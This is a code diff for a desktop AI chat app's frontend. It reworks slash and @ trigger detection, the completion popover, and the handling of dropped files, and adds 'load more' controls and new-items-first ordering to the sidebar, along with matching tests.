export function detectTrigger(textBefore: string): TriggerState | null {
- const match = TRIGGER_RE.exec(textBefore)
+ const slash = SLASH_TRIGGER_RE.exec(textBefore)
- if (!match) {
- return null
+ if (slash) {
+ return { kind: '/', query: slash[2], tokenLength: 1 + slash[2].length }
+ }
+
+ const at = AT_TRIGGER_RE.exec(textBefore)
+
+ if (at) {
+ return { kind: '@', query: at[2], tokenLength: 1 + at[2].length }
}
- return { kind: match[1] as '@' | '/', query: match[2], tokenLength: 1 + match[2].length }
+ return null
}
diff --git a/apps/desktop/src/app/chat/composer/trigger-popover.test.tsx b/apps/desktop/src/app/chat/composer/trigger-popover.test.tsx
index 9acc43f7f198..3aefbfee0a5b 100644
--- a/apps/desktop/src/app/chat/composer/trigger-popover.test.tsx
+++ b/apps/desktop/src/app/chat/composer/trigger-popover.test.tsx
@@ -34,9 +34,17 @@ describe('ComposerTriggerPopover i18n', () => {
})
it('renders localized loading copy for slash commands', () => {
- const { container } = renderPopover('/', true)
+ renderPopover('/', true)
+ // While loading the popover shows only the spinner + loading copy — the
+ // `/help` empty-state hint is reserved for the resolved (not-loading) state.
expect(screen.getByText('查找中…')).toBeTruthy()
+ })
+
+ it('renders the slash empty-state hint when not loading', () => {
+ const { container } = renderPopover('/')
+
+ expect(screen.getByText('没有匹配项。')).toBeTruthy()
expect(container.textContent).toContain('/help')
})
})
diff --git a/apps/desktop/src/app/chat/composer/trigger-popover.tsx b/apps/desktop/src/app/chat/composer/trigger-popover.tsx
index a09190dd6b3c..dffa1ae77459 100644
--- a/apps/desktop/src/app/chat/composer/trigger-popover.tsx
+++ b/apps/desktop/src/app/chat/composer/trigger-popover.tsx
@@ -1,5 +1,7 @@
import type { Unstable_TriggerItem } from '@assistant-ui/core'
+import { Fragment } from 'react'
+import { BrailleSpinner } from '@/components/ui/braille-spinner'
import { Codicon } from '@/components/ui/codicon'
import { useI18n } from '@/i18n'
import { cn } from '@/lib/utils'
@@ -7,7 +9,6 @@ import { cn } from '@/lib/utils'
import {
COMPLETION_DRAWER_BELOW_CLASS,
COMPLETION_DRAWER_CLASS,
- COMPLETION_DRAWER_ROW_CLASS,
CompletionDrawerEmpty
} from './completion-drawer'
@@ -23,11 +24,7 @@ const AT_ICON_BY_TYPE: Record = {
url: 'globe'
}
-function completionIcon(kind: '@' | '/', item: Unstable_TriggerItem) {
- if (kind === '/') {
- return 'terminal'
- }
-
+function atIcon(item: Unstable_TriggerItem) {
const meta = item.metadata as { rawText?: string } | undefined
const raw = meta?.rawText || item.label
@@ -42,6 +39,18 @@ function completionIcon(kind: '@' | '/', item: Unstable_TriggerItem) {
return AT_ICON_BY_TYPE[item.type] || AT_ICON_BY_TYPE.simple
}
+interface RowMeta {
+ display?: string
+ group?: string
+ meta?: string
+}
+
+const ROW_BASE_CLASS = [
+ 'relative flex w-full cursor-default select-none rounded-md px-2 py-1 text-left',
+ 'outline-hidden transition-colors hover:bg-(--ui-bg-tertiary)',
+ 'data-[highlighted]:bg-(--ui-bg-tertiary) data-[highlighted]:text-foreground'
+].join(' ')
+
interface ComposerTriggerPopoverProps {
activeIndex: number
items: readonly Unstable_TriggerItem[]
@@ -63,6 +72,9 @@ export function ComposerTriggerPopover({
}: ComposerTriggerPopoverProps) {
const { t } = useI18n()
const copy = t.composer
+ const isSlash = kind === '/'
+
+ let lastGroup: string | undefined
return (
{items.length === 0 ? (
-
- {kind === '@' ? (
- <>
- {copy.lookupTry} @file: {copy.lookupOr}{' '}
- @folder: .
- >
- ) : (
- <>
- {copy.lookupTry} /help .
- >
- )}
-
+ loading ? (
+
+
+ {copy.lookupLoading}
+
+ ) : (
+
+ {kind === '@' ? (
+ <>
+ {copy.lookupTry} @file: {copy.lookupOr}{' '}
+ @folder: .
+ >
+ ) : (
+ <>
+ {copy.lookupTry} /help .
+ >
+ )}
+
+ )
) : (
items.map((item, index) => {
- const meta = item.metadata as { display?: string; meta?: string } | undefined
- const display = meta?.display ?? (kind === '/' ? `/${item.label}` : item.label)
+ const meta = item.metadata as RowMeta | undefined
+ const display = meta?.display ?? (isSlash ? `/${item.label}` : item.label)
const description = meta?.meta || item.description
+ const group = meta?.group?.trim()
+ const showHeader = isSlash && Boolean(group) && group !== lastGroup
+ const isFirstHeader = lastGroup === undefined
+ lastGroup = group || lastGroup
+ const active = index === activeIndex
return (
-
onPick(item)}
- onMouseEnter={() => onHover(index)}
- type="button"
- >
-
-
-
- {display}
- {description && (
- {description}
+
+ {showHeader && (
+
+ {group}
+
)}
-
+
onPick(item)}
+ onMouseEnter={() => onHover(index)}
+ type="button"
+ >
+ {isSlash ? (
+ <>
+ {/* Active row (keyboard nav or hover) un-truncates inline so
+ long command names / descriptions stay readable without a
+ floating tooltip. */}
+
+ {display}
+
+ {description && (
+
+ {description}
+
+ )}
+ >
+ ) : (
+ <>
+
+
+
+
+ {display}
+
+ {description && (
+ {description}
+ )}
+ >
+ )}
+
+
)
})
)}
diff --git a/apps/desktop/src/app/chat/hooks/use-composer-actions.test.ts b/apps/desktop/src/app/chat/hooks/use-composer-actions.test.ts
new file mode 100644
index 000000000000..55d5bc203802
--- /dev/null
+++ b/apps/desktop/src/app/chat/hooks/use-composer-actions.test.ts
@@ -0,0 +1,57 @@
+import { describe, expect, it } from 'vitest'
+
+import { type DroppedFile, partitionDroppedFiles } from './use-composer-actions'
+
+// A Finder/Explorer drop carries a native File handle; an in-app drag (project
+// tree, gutter line ref) is path-only. The split decides whether a drop becomes
+// an inline @file: ref (in-app, workspace-relative, gateway-resolvable) or goes
+// through the upload pipeline (OS drop — absolute local path a remote gateway
+// can't read, plus image bytes for vision).
+const osDrop = (path: string): DroppedFile => ({ file: new File(['x'], path.split('/').pop() || 'f'), path })
+const inAppRef = (path: string, extra: Partial
= {}): DroppedFile => ({ path, ...extra })
+
+describe('partitionDroppedFiles', () => {
+ it('routes File-bearing OS drops to osDrops and path-only in-app drags to inAppRefs', () => {
+ const finderPdf = osDrop('/Users/mahmoud/Downloads/DEVIS_signed.pdf')
+ const projectFile = inAppRef('src/index.ts')
+
+ const { inAppRefs, osDrops } = partitionDroppedFiles([finderPdf, projectFile])
+
+ expect(osDrops).toEqual([finderPdf])
+ expect(inAppRefs).toEqual([projectFile])
+ })
+
+ it('treats an OS screenshot drop as an upload target (so it gets byte upload + vision)', () => {
+ const screenshot = osDrop('/var/folders/tmp/Screenshot 2026-06-09.png')
+
+ const { inAppRefs, osDrops } = partitionDroppedFiles([screenshot])
+
+ expect(osDrops).toEqual([screenshot])
+ expect(inAppRefs).toEqual([])
+ })
+
+ it('keeps gutter line-range drags inline (no File handle)', () => {
+ const lineRef = inAppRef('src/app.ts', { line: 10, lineEnd: 20 })
+
+ const { inAppRefs, osDrops } = partitionDroppedFiles([lineRef])
+
+ expect(osDrops).toEqual([])
+ expect(inAppRefs).toEqual([lineRef])
+ })
+
+ it('splits a mixed drop and preserves order within each group', () => {
+ const a = inAppRef('a.ts')
+ const b = osDrop('/abs/b.pdf')
+ const c = inAppRef('c.ts')
+ const d = osDrop('/abs/d.png')
+
+ const { inAppRefs, osDrops } = partitionDroppedFiles([a, b, c, d])
+
+ expect(inAppRefs).toEqual([a, c])
+ expect(osDrops).toEqual([b, d])
+ })
+
+ it('returns empty groups for an empty drop', () => {
+ expect(partitionDroppedFiles([])).toEqual({ inAppRefs: [], osDrops: [] })
+ })
+})
diff --git a/apps/desktop/src/app/chat/hooks/use-composer-actions.ts b/apps/desktop/src/app/chat/hooks/use-composer-actions.ts
index ebfd4e58b6f0..7b479bf4f6cf 100644
--- a/apps/desktop/src/app/chat/hooks/use-composer-actions.ts
+++ b/apps/desktop/src/app/chat/hooks/use-composer-actions.ts
@@ -33,7 +33,7 @@ function blobExtension(blob: Blob): string {
return (mime && BLOB_MIME_EXTENSION[mime]) || '.png'
}
-function isImagePath(filePath: string): boolean {
+export function isImagePath(filePath: string): boolean {
return IMAGE_EXTENSION_PATTERN.test(filePath)
}
@@ -181,6 +181,35 @@ export function extractDroppedFiles(transfer: DataTransfer): DroppedFile[] {
return result
}
+/**
+ * Split dropped entries by origin. OS/Finder drops carry a native `File`
+ * handle; in-app drags (project tree, gutter line refs) are path-only.
+ *
+ * The distinction is load-bearing: an in-app path is workspace-relative and
+ * resolves on the gateway as-is, so it stays an inline `@file:`/`@line:` ref.
+ * An OS drop is an absolute path on *this* machine — the gateway can't read it
+ * in remote mode, and an image needs its bytes uploaded to get vision either
+ * way. So OS drops must go through the attachment/upload pipeline rather than
+ * leaking a local path into the prompt text.
+ */
+export function partitionDroppedFiles(candidates: DroppedFile[]): {
+ osDrops: DroppedFile[]
+ inAppRefs: DroppedFile[]
+} {
+ const osDrops: DroppedFile[] = []
+ const inAppRefs: DroppedFile[] = []
+
+ for (const candidate of candidates) {
+ if (candidate.file) {
+ osDrops.push(candidate)
+ } else {
+ inAppRefs.push(candidate)
+ }
+ }
+
+ return { osDrops, inAppRefs }
+}
+
interface ComposerActionsOptions {
activeSessionId: string | null
currentCwd: string
diff --git a/apps/desktop/src/app/chat/index.tsx b/apps/desktop/src/app/chat/index.tsx
index 4a0d3829c39a..77d92248e3a4 100644
--- a/apps/desktop/src/app/chat/index.tsx
+++ b/apps/desktop/src/app/chat/index.tsx
@@ -49,9 +49,9 @@ import { ChatDropOverlay } from './chat-drop-overlay'
import { ChatSwapOverlay } from './chat-swap-overlay'
import { ChatBar, ChatBarFallback } from './composer'
import { requestComposerInsert, requestComposerInsertRefs } from './composer/focus'
-import { droppedFileInlineRef, type SessionDragPayload, sessionInlineRef } from './composer/inline-refs'
+import { droppedFileInlineRefs, type SessionDragPayload, sessionInlineRef } from './composer/inline-refs'
import type { ChatBarState } from './composer/types'
-import type { DroppedFile } from './hooks/use-composer-actions'
+import { type DroppedFile, partitionDroppedFiles } from './hooks/use-composer-actions'
import { useFileDropZone } from './hooks/use-file-drop-zone'
import { SessionActionsMenu } from './sidebar/session-actions-menu'
import { lastVisibleMessageIsUser, threadLoadingState } from './thread-loading'
@@ -126,7 +126,10 @@ function ChatHeader({
{
- const refs = candidates
- .map(candidate => droppedFileInlineRef(candidate, currentCwd))
- .filter((ref): ref is string => Boolean(ref))
+ const { inAppRefs, osDrops } = partitionDroppedFiles(candidates)
+ const refs = droppedFileInlineRefs(inAppRefs, currentCwd)
if (refs.length) {
requestComposerInsert(refs.join(' '), { mode: 'inline', target: 'main' })
}
+
+ if (osDrops.length) {
+ void onAttachDroppedItems(osDrops)
+ }
},
- [currentCwd]
+ [currentCwd, onAttachDroppedItems]
)
// Dropping a sidebar session inserts an @session link the agent can resolve
diff --git a/apps/desktop/src/app/chat/right-rail/preview-file.tsx b/apps/desktop/src/app/chat/right-rail/preview-file.tsx
index e3ebc4f2285f..8d9ce922917d 100644
--- a/apps/desktop/src/app/chat/right-rail/preview-file.tsx
+++ b/apps/desktop/src/app/chat/right-rail/preview-file.tsx
@@ -13,6 +13,7 @@ import { Streamdown } from 'streamdown'
import { HERMES_PATHS_MIME } from '@/app/chat/hooks/use-composer-actions'
import { PageLoader } from '@/components/page-loader'
import { translateNow, useI18n } from '@/i18n'
+import { readDesktopFileDataUrl, readDesktopFileText } from '@/lib/desktop-fs'
import { cn } from '@/lib/utils'
import type { PreviewTarget } from '@/store/preview'
@@ -180,15 +181,13 @@ function looksBinaryBytes(bytes: Uint8Array) {
}
async function readTextPreview(filePath: string) {
- if (window.hermesDesktop.readFileText) {
- try {
- return await window.hermesDesktop.readFileText(filePath)
- } catch (error) {
- const message = error instanceof Error ? error.message : String(error)
-
- if (!message.includes("No handler registered for 'hermes:readFileText'")) {
- throw error
- }
+ try {
+ return await readDesktopFileText(filePath)
+ } catch (error) {
+ const message = error instanceof Error ? error.message : String(error)
+
+ if (!message.includes("No handler registered for 'hermes:readFileText'")) {
+ throw error
}
}
@@ -288,7 +287,7 @@ const MARKDOWN_COMPONENTS = {
function MarkdownPreview({ text }: { text: string }) {
return (
-
+
{text}
@@ -384,7 +383,10 @@ function SourceView({ filePath, language, text }: { filePath: string; language:
)
})}
-
+
{selection && (
{
active = false
}
- }, [blockedByTarget, filePath, forcePreview, isImage, isText, reloadKey, target.language])
+ }, [blockedByTarget, filePath, forcePreview, isImage, isText, reloadKey, target.dataUrl, target.language])
if (state.loading) {
return
diff --git a/apps/desktop/src/app/chat/right-rail/preview-pane.test.tsx b/apps/desktop/src/app/chat/right-rail/preview-pane.test.tsx
index 163511b05bc6..ba17b1322de1 100644
--- a/apps/desktop/src/app/chat/right-rail/preview-pane.test.tsx
+++ b/apps/desktop/src/app/chat/right-rail/preview-pane.test.tsx
@@ -1,11 +1,50 @@
import { act, cleanup, render } from '@testing-library/react'
-import { afterEach, describe, expect, it, vi } from 'vitest'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import { $connection } from '@/store/session'
import { PreviewPane } from './preview-pane'
describe('PreviewPane console state', () => {
+ beforeEach(() => {
+ vi.stubGlobal('requestAnimationFrame', (callback: FrameRequestCallback) => window.setTimeout(() => callback(Date.now()), 0))
+ vi.stubGlobal('cancelAnimationFrame', (id: number) => window.clearTimeout(id))
+ })
+
afterEach(() => {
cleanup()
+ $connection.set(null)
+ vi.unstubAllGlobals()
+ })
+
+ it('does not watch backend-only remote filesystem previews locally', () => {
+ const watchPreviewFile = vi.fn(async () => ({ id: 'watch-1', path: '/remote/file.txt' }))
+ const onPreviewFileChanged = vi.fn(() => vi.fn())
+ $connection.set({ mode: 'remote' } as never)
+ vi.stubGlobal('window', {
+ ...window,
+ hermesDesktop: {
+ onPreviewFileChanged,
+ watchPreviewFile
+ }
+ })
+
+ render(
+
+ )
+
+ expect(watchPreviewFile).not.toHaveBeenCalled()
+ expect(onPreviewFileChanged).not.toHaveBeenCalled()
})
it('does not rebuild the pane titlebar group for streamed console logs', () => {
diff --git a/apps/desktop/src/app/chat/right-rail/preview-pane.tsx b/apps/desktop/src/app/chat/right-rail/preview-pane.tsx
index 21cfbeb3cede..ae9d51d1e744 100644
--- a/apps/desktop/src/app/chat/right-rail/preview-pane.tsx
+++ b/apps/desktop/src/app/chat/right-rail/preview-pane.tsx
@@ -5,6 +5,7 @@ import { useCallback, useEffect, useRef, useState } from 'react'
import type { SetTitlebarToolGroup, TitlebarTool } from '@/app/shell/titlebar-controls'
import { Tip } from '@/components/ui/tooltip'
import { type Translations, useI18n } from '@/i18n'
+import { isDesktopFsRemoteMode } from '@/lib/desktop-fs'
import { Bug } from '@/lib/icons'
import { cn } from '@/lib/utils'
import { notify, notifyError } from '@/store/notifications'
@@ -406,6 +407,7 @@ export function PreviewPane({
useEffect(() => {
if (
target.kind !== 'file' ||
+ isDesktopFsRemoteMode() ||
!window.hermesDesktop?.watchPreviewFile ||
!window.hermesDesktop?.onPreviewFileChanged
) {
diff --git a/apps/desktop/src/app/chat/sidebar/cron-jobs-section.tsx b/apps/desktop/src/app/chat/sidebar/cron-jobs-section.tsx
index 7b0e7b95fe73..f8db6e390e21 100644
--- a/apps/desktop/src/app/chat/sidebar/cron-jobs-section.tsx
+++ b/apps/desktop/src/app/chat/sidebar/cron-jobs-section.tsx
@@ -14,6 +14,8 @@ import type { CronJob } from '@/types/hermes'
import { jobState, jobTitle, STATE_DOT } from '../../cron/job-state'
import { SidebarPanelLabel } from '../../shell/sidebar-label'
+import { SidebarLoadMoreRow } from './load-more-row'
+
const INACTIVE_STATES = new Set(['completed', 'disabled', 'error', 'paused'])
// Recent runs shown in the inline quick-peek — enough to glance at history
@@ -24,6 +26,11 @@ const PEEK_RUN_LIMIT = 5
// open peek so a freshly-fired run shows up within a few seconds.
const PEEK_POLL_INTERVAL_MS = 8000
+// Keep the section compact: show a few jobs up front, reveal more in larger
+// steps on demand (mirrors the messaging sections in the sidebar).
+const INITIAL_VISIBLE_JOBS = 3
+const LOAD_MORE_STEP = 10
+
const relativeFmt = new Intl.RelativeTimeFormat(undefined, { numeric: 'auto', style: 'short' })
// Localized "in 5 min" / "2 hr ago" without hand-rolled strings — picks the
@@ -33,17 +40,25 @@ function relativeTime(targetMs: number, nowMs: number): string {
const abs = Math.abs(diff)
const sign = diff < 0 ? -1 : 1
- if (abs < 60_000) {return relativeFmt.format(sign * Math.round(abs / 1000), 'second')}
+ if (abs < 60_000) {
+ return relativeFmt.format(sign * Math.round(abs / 1000), 'second')
+ }
- if (abs < 3_600_000) {return relativeFmt.format(sign * Math.round(abs / 60_000), 'minute')}
+ if (abs < 3_600_000) {
+ return relativeFmt.format(sign * Math.round(abs / 60_000), 'minute')
+ }
- if (abs < 86_400_000) {return relativeFmt.format(sign * Math.round(abs / 3_600_000), 'hour')}
+ if (abs < 86_400_000) {
+ return relativeFmt.format(sign * Math.round(abs / 3_600_000), 'hour')
+ }
return relativeFmt.format(sign * Math.round(abs / 86_400_000), 'day')
}
function nextRunMs(job: CronJob): null | number {
- if (!job.next_run_at) {return null}
+ if (!job.next_run_at) {
+ return null
+ }
const ms = Date.parse(job.next_run_at)
@@ -54,7 +69,9 @@ function nextRunMs(job: CronJob): null | number {
// the timestamp is what tells them apart. Compact (no year, no seconds) for the
// narrow sidebar.
function formatRunTime(seconds?: null | number): string {
- if (!seconds) {return '—'}
+ if (!seconds) {
+ return '—'
+ }
const date = new Date(seconds * 1000)
@@ -90,11 +107,15 @@ export function SidebarCronJobsSection({
const [nowMs, setNowMs] = useState(() => Date.now())
// Single-open inline peek so the section stays scannable.
const [peekJobId, setPeekJobId] = useState
(null)
+ // Rows revealed so far; starts compact, grows in steps via "load more".
+ const [visibleCount, setVisibleCount] = useState(INITIAL_VISIBLE_JOBS)
// One clock for the whole section (rows are pure) so the countdowns tick
// without re-rendering the rest of the sidebar. Only runs while expanded.
useEffect(() => {
- if (!open) {return}
+ if (!open) {
+ return
+ }
const id = window.setInterval(() => setNowMs(Date.now()), 1000)
@@ -108,17 +129,25 @@ export function SidebarCronJobsSection({
const an = nextRunMs(a)
const bn = nextRunMs(b)
- if (an !== null && bn !== null && an !== bn) {return an - bn}
+ if (an !== null && bn !== null && an !== bn) {
+ return an - bn
+ }
- if (an === null && bn !== null) {return 1}
+ if (an === null && bn !== null) {
+ return 1
+ }
- if (an !== null && bn === null) {return -1}
+ if (an !== null && bn === null) {
+ return -1
+ }
return jobTitle(a).localeCompare(jobTitle(b))
})
}, [jobs])
- const shown = sorted.slice(0, max)
+ const cap = Math.min(visibleCount, max)
+ const shown = sorted.slice(0, cap)
+ const hiddenCount = Math.min(sorted.length, max) - shown.length
// When capped, signal "50+" rather than implying the list is complete.
const countLabel = jobs.length > max ? `${max}+` : String(jobs.length)
@@ -139,7 +168,7 @@ export function SidebarCronJobsSection({
{open && (
-
+
{shown.map(job => (
onTriggerJob(job.id)}
/>
))}
+ {hiddenCount > 0 && (
+ setVisibleCount(count => count + LOAD_MORE_STEP)}
+ step={Math.min(LOAD_MORE_STEP, hiddenCount)}
+ />
+ )}
)}
@@ -181,11 +216,7 @@ function CronJobSidebarRow({
const next = nextRunMs(job)
const label = jobTitle(job)
- const meta = INACTIVE_STATES.has(state)
- ? (c.states[state] ?? state)
- : next !== null
- ? relativeTime(next, nowMs)
- : '—'
+ const meta = INACTIVE_STATES.has(state) ? (c.states[state] ?? state) : next !== null ? relativeTime(next, nowMs) : '—'
return (
@@ -257,13 +288,7 @@ function CronJobSidebarRow({
)
}
-function CronJobSidebarRuns({
- jobId,
- onOpenRun
-}: {
- jobId: string
- onOpenRun: (sessionId: string) => void
-}) {
+function CronJobSidebarRuns({ jobId, onOpenRun }: { jobId: string; onOpenRun: (sessionId: string) => void }) {
const { t } = useI18n()
const c = t.cron
const selectedSessionId = useStore($selectedStoredSessionId)
@@ -275,16 +300,22 @@ function CronJobSidebarRuns({
const load = () =>
getCronJobRuns(jobId, PEEK_RUN_LIMIT)
.then(result => {
- if (!cancelled) {setRuns(result)}
+ if (!cancelled) {
+ setRuns(result)
+ }
})
.catch(() => {
- if (!cancelled) {setRuns(prev => prev ?? [])}
+ if (!cancelled) {
+ setRuns(prev => prev ?? [])
+ }
})
void load()
const intervalId = window.setInterval(() => {
- if (document.visibilityState === 'visible') {void load()}
+ if (document.visibilityState === 'visible') {
+ void load()
+ }
}, PEEK_POLL_INTERVAL_MS)
return () => {
diff --git a/apps/desktop/src/app/chat/sidebar/index.tsx b/apps/desktop/src/app/chat/sidebar/index.tsx
index 99f7f8813725..3acf63d1e4ee 100644
--- a/apps/desktop/src/app/chat/sidebar/index.tsx
+++ b/apps/desktop/src/app/chat/sidebar/index.tsx
@@ -48,6 +48,7 @@ import {
$pinnedSessionIds,
$sidebarAgentsGrouped,
$sidebarCronOpen,
+ $sidebarMessagingOpenIds,
$sidebarOpen,
$sidebarOverlayMounted,
$sidebarPinsOpen,
@@ -64,6 +65,7 @@ import {
setSidebarSessionOrderIds,
setSidebarWorkspaceOrderIds,
SIDEBAR_SESSIONS_PAGE_SIZE,
+ toggleSidebarMessagingOpen,
unpinSession
} from '@/store/layout'
import {
@@ -76,6 +78,9 @@ import {
} from '@/store/profile'
import {
$cronSessions,
+ $messagingPlatformTotals,
+ $messagingSessions,
+ $messagingTruncated,
$selectedStoredSessionId,
$sessionProfileTotals,
$sessions,
@@ -90,12 +95,19 @@ import { SidebarPanelLabel } from '../../shell/sidebar-label'
import type { SidebarNavItem } from '../../types'
import { SidebarCronJobsSection } from './cron-jobs-section'
+import { SidebarLoadMoreRow } from './load-more-row'
import { ProfileRail } from './profile-switcher'
import { SidebarSessionRow } from './session-row'
import { VirtualSessionList } from './virtual-session-list'
const VIRTUALIZE_THRESHOLD = 25
+// Non-session groups (messaging platforms) stay compact: show a few rows up
+// front, reveal more in larger steps on demand. Keeps a busy platform from
+// dominating the sidebar before the user asks to see it.
+const NON_SESSION_INITIAL_ROWS = 3
+const NON_SESSION_LOAD_STEP = 10
+
// Render the modifier key the user actually presses on this platform. The
// global accelerator is bound to both Cmd+N (macOS) and Ctrl+N (everywhere
// else) in desktop-controller.tsx, but the hint should match muscle memory.
@@ -124,7 +136,16 @@ const WORKSPACE_PAGE = 5
// unified list scannable, then reveal/fetch more in N-sized steps on demand.
const PROFILE_INITIAL_PAGE = 5
const GROUP_DND_ID_PREFIX = 'group:'
-const LOCAL_SESSION_SOURCES = new Set(['cli', 'desktop', 'local', 'tui'])
+
+// Two modes via the `compact` height variant (styles.css):
+// tall → each section is shrink-0, capped, its own scroller; Sessions is flex-1.
+// compact → COMPACT_FLAT drops the caps so the whole stack scrolls as one.
+// Sections stay shrink-0 so none can be squeezed below its content and bleed onto
+// the next — the flexbox `min-height: auto` overlap trap that caused the bug.
+const COMPACT_FLAT = 'compact:max-h-none compact:overflow-visible'
+
+// A non-session group's scroll body: own scroller when tall, flattened when compact.
+const GROUP_BODY = cn('overflow-y-auto overscroll-contain', COMPACT_FLAT)
const groupDndId = (id: string) => `${GROUP_DND_ID_PREFIX}${id}`
@@ -141,24 +162,25 @@ function orderByIds(items: T[], getId: (item: T) => string, orderIds: string[
const byId = new Map(items.map(item => [getId(item), item]))
const seen = new Set()
- const out: T[] = []
+ const ordered: T[] = []
for (const id of orderIds) {
const item = byId.get(id)
if (item) {
- out.push(item)
+ ordered.push(item)
seen.add(id)
}
}
- for (const item of items) {
- if (!seen.has(getId(item))) {
- out.push(item)
- }
- }
+ // Items missing from the persisted order are new since it was last
+ // reconciled. Callers pass recency-sorted lists (newest first), so surface
+ // these at the TOP instead of burying them beneath the saved order —
+ // otherwise a brand-new session sinks to the bottom of the sidebar and reads
+ // as "my latest session never showed up".
+ const fresh = items.filter(item => !seen.has(getId(item)))
- return out
+ return fresh.length ? [...fresh, ...ordered] : ordered
}
function reconcileOrderIds(currentIds: string[], orderIds: string[]): string[] {
@@ -171,17 +193,15 @@ function reconcileOrderIds(currentIds: string[], orderIds: string[]): string[] {
}
const current = new Set(currentIds)
- const next = orderIds.filter(id => current.has(id))
- const known = new Set(next)
+ const retained = orderIds.filter(id => current.has(id))
+ const retainedSet = new Set(retained)
- for (const id of currentIds) {
- if (!known.has(id)) {
- next.push(id)
- known.add(id)
- }
- }
+ // New ids (absent from the saved order) are the newest sessions/groups; keep
+ // them ahead of the persisted order so fresh activity surfaces at the top of
+ // the sidebar rather than being appended to the bottom.
+ const fresh = currentIds.filter(id => !retainedSet.has(id))
- return next
+ return [...fresh, ...retained]
}
function sameIds(left: string[], right: string[]) {
@@ -251,43 +271,6 @@ function workspaceGroupsFor(
return [...groups.values()]
}
-function sourceSessionGroupsFor(sessions: SessionInfo[]): {
- localSessions: SessionInfo[]
- sourceGroups: SidebarSessionGroup[]
-} {
- const groups = new Map()
- const localSessions: SessionInfo[] = []
-
- for (const session of sessions) {
- const sourceId = normalizeSessionSource(session.source)
-
- if (!sourceId || LOCAL_SESSION_SOURCES.has(sourceId)) {
- localSessions.push(session)
-
- continue
- }
-
- const label = sessionSourceLabel(sourceId) ?? sourceId
-
- const group = groups.get(sourceId) ?? {
- id: `source:${sourceId}`,
- label,
- mode: 'source',
- path: null,
- sessions: [],
- sourceId
- }
-
- group.sessions.push(session)
- groups.set(sourceId, group)
- }
-
- return {
- localSessions,
- sourceGroups: [...groups.values()].sort((a, b) => sessionTime(b.sessions[0]) - sessionTime(a.sessions[0]))
- }
-}
-
function useSortableBindings(id: string) {
const { attributes, isDragging, listeners, setNodeRef, transform, transition } = useSortable({ id })
@@ -309,6 +292,7 @@ interface ChatSidebarProps extends React.ComponentProps {
onNavigate: (item: SidebarNavItem) => void
onLoadMoreSessions: () => void
onLoadMoreProfileSessions?: (profile: string) => Promise | void
+ onLoadMoreMessaging?: (platform: string) => Promise | void
onResumeSession: (sessionId: string) => void
onDeleteSession: (sessionId: string) => void
onArchiveSession: (sessionId: string) => void
@@ -322,6 +306,7 @@ export function ChatSidebar({
onNavigate,
onLoadMoreSessions,
onLoadMoreProfileSessions,
+ onLoadMoreMessaging,
onResumeSession,
onDeleteSession,
onArchiveSession,
@@ -345,6 +330,9 @@ export function ChatSidebar({
const sessions = useStore($sessions)
const cronSessions = useStore($cronSessions)
const cronJobs = useStore($cronJobs)
+ const messagingSessions = useStore($messagingSessions)
+ const messagingPlatformTotals = useStore($messagingPlatformTotals)
+ const messagingTruncated = useStore($messagingTruncated)
const sessionsLoading = useStore($sessionsLoading)
const sessionsTotal = useStore($sessionsTotal)
const sessionProfileTotals = useStore($sessionProfileTotals)
@@ -364,6 +352,10 @@ export function ChatSidebar({
const [serverMatches, setServerMatches] = useState([])
const [newSessionKbdFlash, setNewSessionKbdFlash] = useState(false)
const [profileLoadMorePending, setProfileLoadMorePending] = useState>({})
+ const [messagingLoadMorePending, setMessagingLoadMorePending] = useState>({})
+ const messagingOpenIds = useStore($sidebarMessagingOpenIds)
+ // Per-platform count of rows currently revealed (starts at NON_SESSION_INITIAL_ROWS).
+ const [messagingVisible, setMessagingVisible] = useState>({})
const searchInputRef = useRef(null)
const trimmedQuery = searchQuery.trim()
@@ -529,24 +521,12 @@ export function ChatSidebar({
[unpinnedAgentSessions, agentOrderIds]
)
- const { localSessions: localAgentSessions, sourceGroups } = useMemo(
- () => sourceSessionGroupsFor(agentSessions),
- [agentSessions]
- )
-
- const orderedSourceGroups = useMemo(
- () => orderByIds(sourceGroups, g => g.id, workspaceOrderIds),
- [sourceGroups, workspaceOrderIds]
- )
-
+ // Recents are local-only: messaging-platform sessions are fetched as their
+ // own slice ($messagingSessions) and rendered in self-managed per-platform
+ // sections below, so there is no source-grouping magic to untangle here.
const agentGroups = useMemo(
- () =>
- orderByIds(
- workspaceGroupsFor(localAgentSessions, s.noWorkspace, { preserveSessionOrder: sourceGroups.length > 0 }),
- g => g.id,
- workspaceOrderIds
- ),
- [localAgentSessions, s.noWorkspace, sourceGroups.length, workspaceOrderIds]
+ () => orderByIds(workspaceGroupsFor(agentSessions, s.noWorkspace), g => g.id, workspaceOrderIds),
+ [agentSessions, s.noWorkspace, workspaceOrderIds]
)
const loadMoreForProfileGroup = useCallback(
@@ -564,6 +544,76 @@ export function ChatSidebar({
[onLoadMoreProfileSessions]
)
+ const loadMoreForMessaging = useCallback(
+ (platform: string) => {
+ if (!onLoadMoreMessaging) {
+ return
+ }
+
+ setMessagingLoadMorePending(prev => ({ ...prev, [platform]: true }))
+
+ void Promise.resolve(onLoadMoreMessaging(platform))
+ .catch(() => undefined)
+ .finally(() => setMessagingLoadMorePending(({ [platform]: _done, ...rest }) => rest))
+ },
+ [onLoadMoreMessaging]
+ )
+
+ // Reveal another batch of a platform's rows; fetch from the backend too if we
+ // run past what's loaded and more remain on disk.
+ const revealMoreMessaging = (platform: string, loaded: number, hasMore: boolean) => {
+ const next = (messagingVisible[platform] ?? NON_SESSION_INITIAL_ROWS) + NON_SESSION_LOAD_STEP
+
+ setMessagingVisible(prev => ({ ...prev, [platform]: next }))
+
+ if (next > loaded && hasMore) {
+ loadMoreForMessaging(platform)
+ }
+ }
+
+ // Each messaging platform is its own self-managed section: split the
+ // separately-fetched messaging slice by source, newest platform first, rows
+ // within a platform by recency. Per-platform totals (when a "load more" has
+ // resolved them) drive the count + whether more remain on disk.
+ const messagingGroups = useMemo(() => {
+ if (!messagingSessions.length) {
+ return []
+ }
+
+ const bySource = new Map()
+
+ for (const session of messagingSessions) {
+ const sourceId = normalizeSessionSource(session.source)
+
+ if (!sourceId) {
+ continue
+ }
+
+ const list = bySource.get(sourceId) ?? []
+ list.push(session)
+ bySource.set(sourceId, list)
+ }
+
+ return [...bySource.entries()]
+ .map(([sourceId, list]) => {
+ const ordered = [...list].sort((a, b) => sessionTime(b) - sessionTime(a))
+ const known = messagingPlatformTotals[sourceId]
+ const total = Math.max(ordered.length, known ?? 0)
+
+ return {
+ // Known exact total → more exist iff total exceeds loaded; otherwise
